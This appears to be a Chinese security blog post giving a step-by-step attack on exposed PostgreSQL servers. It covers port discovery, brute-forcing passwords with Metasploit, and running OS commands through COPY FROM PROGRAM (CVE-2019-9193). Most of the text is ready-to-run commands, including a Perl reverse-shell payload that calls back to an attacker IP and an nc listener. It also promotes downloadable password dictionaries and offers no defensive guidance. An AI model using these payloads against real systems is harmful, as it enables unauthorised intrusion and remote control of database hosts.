PostgresSQL弱密码导致命令执行

article/2025/8/20 1:28:08

点击"仙网攻城狮”关注我们哦~

不当想研发的渗透人不是好运维

让我们每天进步一点点

简介

PostgreSQL( 读作 Post-Gres-Q-L)是一个功能非常强大的、源代码开放的客户/服务器关系型数据库管理系统（RDBMS）。

当该服务配置不当开放到外网时可以被暴力破解密码，获得任意用户密码登录成功后使用（CVE-2019-9193）高权限命令执行漏洞即可反弹管理员shell

实战

1.使用nmap或者fofa发现该端口或者相关服务

2.使用kali系统中msf渗透模型进行暴力破解用户密码。

msfconsole   //进入msf工具
use auxiliary/scanner/postgres/postgres_login  //进入暴力破解模块
set rhosts 1.1.1.1 //添加目标ip
set rport 5432  //添加目标端口
set user_file /home/taibai/1  //后面的路径是用户名字典
set pass_file /home/taibai/2  //后面的路径是密码字典
show options  //查看相关配置信息
run  //开始运行

破解成功后会有提示破解的用户密码（用户密码字典在渗透工具集里面有收集好的可以直接用哈，微信公众号回复任意就可以获取资源列表）

3.使用破解后的用户名密码登录

psql -h 1.1.1.1 -U postgres -W    //连接后提示输入密码

4.使用（CVE-2019-9193）高权限命令执行漏洞执行命令

DROP TABLE IF EXISTS cmd_exec;  //删除你想用来保存命令输出但是可能存在的表
CREATE TABLE cmd_exec(cmd_output text);  //创建你用来保存命令输出的表
COPY cmd_exec FROM PROGRAM 'id';   //通过 “COPY FROM PROGRAM”执行系统命令
SELECT * FROM cmd_exec;   //查看执行结果

5.使用nc反弹shell（注意需要公网ip地址）

//攻击机上执行
nc -vv -l -p 1234//perl命令来反弹shell
COPY files FROM PROGRAM 'perl -MIO -e "$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,\"2.2.2.2:1234\");STDIN->fdopen($c,r);$~->fdopen($c,w);system $_ while <>;"';

6.如果上面不行可以直接使用msf中利用模块（注意需要公网ip地址）

set rhosts 1.1.1.1  //配置目标ip
set rport 5432   //配置目标端口
set username postgres  //配置目标用户名
set password 123456   //配置目标密码
set lhost 2.2.2.2   //配置反弹ip
set lport 1234   //配置反弹端口
show options  //查看配置
exp  //运行